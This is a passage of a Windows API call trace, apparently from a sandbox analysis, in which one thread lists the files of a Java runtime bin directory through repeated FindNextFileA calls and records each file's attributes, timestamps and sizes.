cFileName="JavaAccessBridge-64.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1 [0124.684] GetCurrentThreadId () returned 0x9b0 [0124.685] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="javacpl.cpl", cAlternateFileName="")) returned 1 [0124.685] GetCurrentThreadId () returned 0x9b0 [0124.685] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0124.685] GetCurrentThreadId () returned 0x9b0 [0124.685] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="javafx_font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1 [0124.685] GetCurrentThreadId () returned 0x9b0 [0124.685] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x83640, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="javafx_font_t2k.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1 [0124.685] GetCurrentThreadId () returned 0x9b0 [0124.685] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1f440, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="javafx_iio.dll", cAlternateFileName="JAVAFX~3.DLL")) returned 1 [0124.685] GetCurrentThreadId () returned 0x9b0 [0124.685] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0124.686] GetCurrentThreadId () returned 0x9b0 [0124.686] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0124.686] GetCurrentThreadId () returned 0x9b0 [0124.686] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1 [0124.686] GetCurrentThreadId () returned 0x9b0 [0124.686] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3840, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0124.686] GetCurrentThreadId () returned 0x9b0 [0124.686] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="JAWTAccessBridge-64.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1 [0124.687] GetCurrentThreadId () returned 0x9b0 [0124.687] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x31440, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0124.687] GetCurrentThreadId () returned 0x9b0 [0124.688] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0124.688] GetCurrentThreadId () returned 0x9b0 [0124.688] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22240, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0124.688] GetCurrentThreadId () returned 0x9b0 [0124.688] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7511d3f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7511d3f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2794a40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1 [0124.688] GetCurrentThreadId () returned 0x9b0 [0124.688] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jjs.exe", cAlternateFileName="")) returned 1 [0124.688] GetCurrentThreadId () returned 0x9b0 [0124.688] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2aa40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0124.688] GetCurrentThreadId () returned 0x9b0 [0124.689] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x48440, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0124.689] GetCurrentThreadId () returned 0x9b0 [0124.689] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1 [0124.689] GetCurrentThreadId () returned 0x9b0 [0124.689] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1 [0124.689] GetCurrentThreadId () returned 0x9b0 [0124.689] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39840, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0124.689] GetCurrentThreadId () returned 0x9b0 [0124.689] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2d640, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0124.689] GetCurrentThreadId () returned 0x9b0 [0124.689] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4840, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0124.690] GetCurrentThreadId () returned 0x9b0 [0124.690] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8a40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0124.690] GetCurrentThreadId () returned 0x9b0 [0124.690] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0124.690] GetCurrentThreadId () returned 0x9b0 [0124.690] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x35e40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0124.690] GetCurrentThreadId () returned 0x9b0 [0124.690] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0124.690] GetCurrentThreadId () returned 0x9b0 [0124.690] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0124.690] GetCurrentThreadId () returned 0x9b0 [0124.691] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0124.691] GetCurrentThreadId () returned 0x9b0 [0124.691] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0124.691] GetCurrentThreadId () returned 0x9b0 [0124.691] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="lcms.dll", cAlternateFileName="")) returned 1 [0124.691] GetCurrentThreadId () returned 0x9b0 [0124.691] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1 [0124.691] GetCurrentThreadId () returned 0x9b0 [0124.691] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9fa40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1 [0124.691] GetCurrentThreadId () returned 0x9b0 [0124.692] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa12a0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0124.692] GetCurrentThreadId () returned 0x9b0 [0124.692] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0124.692] GetCurrentThreadId () returned 0x9b0 [0124.692] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0124.692] GetCurrentThreadId () returned 0x9b0 [0124.692] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17a40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1 [0124.692] GetCurrentThreadId () returned 0x9b0 [0124.692] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0124.692] GetCurrentThreadId () returned 0x9b0 [0124.692] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1 [0124.693] GetCurrentThreadId () returned 0x9b0 [0124.693] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1 [0124.693] GetCurrentThreadId () returned 0x9b0 [0124.693] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1 [0124.693] GetCurrentThreadId () returned 0x9b0 [0124.693] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1 [0124.693] GetCurrentThreadId () returned 0x9b0 [0124.693] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0124.693] GetCurrentThreadId () returned 0x9b0 [0124.693] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x9bac8c, 